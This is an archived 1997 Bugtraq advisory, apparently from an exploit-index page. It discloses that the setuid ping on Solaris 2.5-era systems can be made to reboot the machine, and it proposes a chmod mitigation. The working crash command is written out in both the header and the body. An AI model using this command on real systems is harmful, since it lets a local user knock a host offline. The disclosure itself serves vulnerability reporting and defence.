You can reboot solaris boxes with ping -sv -i 127.0.0.1 184.108.40.206
Adam Caldwell <adam@ATL.ENI.NET>
Stupid DOS attack, plus you need to be a local user.
Apparently all versions of Solaris up to (but not including) 2.6
26 June 1997
Date: Thu, 26 Jun 1997 00:08:29 -0400
From: Adam Caldwell <adam@ATL.ENI.NET>
Subject: Solaris Ping bug (DoS)
I briefly searched the bugtraq archives and didn't see this one, so here's a
way to reboot a Solaris box, and is exploitable by anyone with an account on
the system since ping is setuid root.
ping -sv -i 127.0.0.1 220.127.116.11
On solaris 2.5, causes the machine to reboot (personal experience). I've
had independent reports of it crashing 2.5.1, and 2.5 (x86). It probably works
on all versions of Solaris.
To "fix" the denial of service:
chmod go-x /usr/sbin/ping
if you don't mind disabling Ping on your system.
The master index of all exploits is available
here (Very large file)
Or you can pick your favorite operating system:
This page is part of Fyodor's exploit
For a free program to automate scanning your network for vulnerable
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